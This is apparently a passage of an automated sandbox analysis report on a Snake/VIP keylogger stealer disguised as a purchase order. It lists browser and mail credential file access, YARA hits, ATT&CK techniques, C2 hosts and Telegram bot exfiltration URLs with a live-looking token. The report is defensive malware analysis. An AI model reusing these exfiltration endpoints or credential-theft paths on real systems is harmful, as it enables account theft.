Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: name.exe	Binary or memory string: WIN_XP
Source: name.exe.0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
Source: name.exe	Binary or memory string: WIN_XPe
Source: name.exe	Binary or memory string: WIN_VISTA
Source: name.exe	Binary or memory string: WIN_7
Source: name.exe	Binary or memory string: WIN_8

Source: Yara match	File source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: name.exe PID: 4592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: name.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5688, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: name.exe PID: 4592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: name.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5688, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: name.exe PID: 4592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: name.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5688, type: MEMORYSTR

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_004652BE
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00476619
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0046CEF3
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	5_2_004652BE
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	5_2_00476619
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	5_2_0046CEF3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	2 Valid Accounts	2 Native API	111 Scripting	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Valid Accounts	2 Valid Accounts	31 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	117 System Information Discovery	Distributed Component Object Model	21 Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	11 Masquerading	LSA Secrets	221 Security Software Discovery	SSH	3 Clipboard Data	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	25 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
New Order PO#86637.exe	42%	ReversingLabs
New Order PO#86637.exe	100%	Avira	HEUR/AGEN.1321293
New Order PO#86637.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\directory\name.exe	100%	Avira	HEUR/AGEN.1321293
C:\Users\user\AppData\Local\directory\name.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\directory\name.exe	47%	ReversingLabs	Win32.Trojan.SnakeStealer

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://varders.kozow.com:8081	0%	URL Reputation	safe
http://aborters.duckdns.org:8081	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://51.38.247.67:8081/_send_.php?L	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	URL Reputation	safe
http://anotherarmy.dns.army:8081	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://chrome.google.com/webstore?hl=en	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=4039	0%	Avira URL Cloud	safe
http://us2.smtp.mailhostbox.com	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20a	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20and%20Time:%2019/09/2024%20/%2018:25:46%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20965543%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	0%	Avira URL Cloud	safe
https://api.telegram	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20and%20Time:%2019/09/2024%20/%2021:04:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20965543%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
us2.smtp.mailhostbox.com	208.91.199.223	true	true	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	132.226.247.73	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown
206.23.85.13.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20and%20Time:%2019/09/2024%20/%2018:25:46%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20965543%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20and%20Time:%2019/09/2024%20/%2021:04:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20965543%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	RegSvcs.exe, 00000003.00000002.4537810663.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000003157000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002D82000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000003186000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002D44000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002924000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://us2.smtp.mailhostbox.com	RegSvcs.exe, 00000003.00000002.4537810663.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000003157000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000003186000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002D44000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	RegSvcs.exe, 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4540335552.0000000003733000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	RegSvcs.exe, 00000003.00000002.4537810663.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=en	RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4540335552.0000000003733000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	name.exe, 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4534989521.0000000000433000.00000040.80000000.00040000.00000000.sdmp, name.exe, 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aborters.duckdns.org:8081	name.exe, 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4534989521.0000000000433000.00000040.80000000.00040000.00000000.sdmp, name.exe, 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002711000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ac.ecosia.org/autocomplete?q=	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4540335552.0000000003733000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=4039	RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?L	RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	RegSvcs.exe, 00000003.00000002.4537810663.0000000002BEB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.000000000278B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20a	RegSvcs.exe, 00000003.00000002.4537810663.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	name.exe, 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4534989521.0000000000433000.00000040.80000000.00040000.00000000.sdmp, name.exe, 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002711000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4540335552.0000000003733000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	name.exe, 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram	RegSvcs.exe, 00000006.00000002.4538128302.0000000002D44000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	RegSvcs.exe, 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://api.telegram.org	RegSvcs.exe, 00000003.00000002.4537810663.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000003157000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000003186000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002D44000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002AF4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002B66000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.0000000002711000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
